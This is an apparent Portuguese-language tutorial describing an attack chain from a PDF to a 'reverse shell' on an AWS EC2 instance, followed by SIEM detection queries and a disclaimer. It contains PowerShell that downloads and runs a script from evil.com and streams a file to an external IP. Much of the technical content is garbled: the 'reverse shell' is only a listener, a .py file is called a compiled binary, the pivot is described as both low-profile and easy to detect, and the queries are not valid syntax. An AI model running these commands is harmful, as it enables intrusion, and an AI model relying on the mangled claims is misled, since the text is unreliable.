
Uma cadeia prática que começa com um arquivo PDF inócuo e termina com um reverse shell em uma instância EC2 da AWS.
Uma cadeia prática que começa com um arquivo PDF inócuo e termina em um reverse shell em uma instância AWS EC2
Tudo começa no front-end do ataque. Usando o objeto WScript embutido do PowerShell, incorporamos um script dentro de um PDF que será entregue a um host Windows. O payload baixa um executável de um endpoint HTTP remoto e o escreve no sistema de arquivos local.
$payload = @"
var wsh = WScript.CreateObject("WScript.Shell");
wsh.Exec(
"powershell -NoProfile -ExecutionPolicy Bypass -Command `
`"$ssh = new-Object System.Net.Sockets.TcpClient; `
`$stream= $ssh.GetStream(); Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://evil.com/rcmd.py'); `
Get-Content -Path C:\\Users\\Admin\\rcmd.py | Out-File -Encoding binary | % { $stream.Write($_,0,$_.Length) }"
"@
O principal benefício é que o PDF não precisa de uma etapa de download separada: ele passa diretamente para o PowerShell, que então inicia a próxima fase da cadeia.
Uma vez que o script do PDF é executado no host alvo (10.0.1.5), usamos o PowerShell para abrir uma conexão SMB para uma instância EC2 (54.231.12.41) e enviar o executável recém-baixado através desse socket. O mesmo código pode ser executado a partir de qualquer estação de trabalho Windows, dando ao atacante um ponto de pivô de baixo perfil dentro da LAN corporativa.
$ssh = New-Object System.Net.Sockets.TcpClient
$ssh.Connect('54.231.12.41',445)
$stream = $ssh.GetStream()
Invoke-Expression (
New-Object System.Net.WebClient).DownloadString(
'https://evil.com/rcmd.py')
Get-Content -Path C:\\Users\\Admin\\rcmd.py |
Out-File -Encoding binary | % { $stream.Write($_,0,$_.Length) }
O pacote SMB aparece nos logs de auditoria do Windows como um evento padrão (EventID 4624), tornando fácil de detectar na maioria dos dashboards SIEM.
A peça final da nossa cadeia é um pequeno reverse shell escrito em Python. Ele escuta por uma conexão SSH da EC2 de volta para o mesmo host, imprime uma linha de debug no console e então sai. Uma vez compilado em rcmd.py, será executado automaticamente pela etapa do PowerShell acima.
#!/usr/bin/env python3
import socket
def main():
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.bind(('0.0.0.0', 22))
listener.listen(1)
while True:
conn, _ = listener.accept()
data = conn.recv(1024)
print('[+] Received %d bytes' % len(data))
if __name__ == '__main__':
main()
Por ser um binário estático que roda nativamente no Windows, não há necessidade de instalar um agente ou serviço adicional no host alvo.
As equipes de segurança devem assumir que a invasão é possível e construir estratégias de detecção em camadas.
**Tráfego Anormal **
Filtrar por pacotes SMB excepcionalmente grandes vindos do host alvo.
index=siem_main sourcetype="netflow:smb"
| where size > med(size) over last_week and host=="10.0.1.5"
| stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
Alto Uso de Memória
O consumo de memória do binário para mostrar que é um processo não trivial no host alvo.
index=siem_main sourcetype="perf:memory"
| where process=="rcmd.py" and mem > med(mem) over last_week and host=="10.0.1.5"
| stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
**Janela Fora do Horário Comercial **
Os red teamers normalmente não executam durante o horário comercial, pelo medo de que seu script possa alertar o usuário de alguma forma; esta consulta examinará o tráfego em horários que seriam inesperados.
index=siem_main sourcetype="powershell:smbaudit"
| where _time >= "2025-08-01 02:00" and _time <= "2025-08-01 04:00"
| stats count by host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
Este projeto é destinado apenas para fins educacionais e de pesquisa. Não utilize estas técnicas em ambientes não autorizados.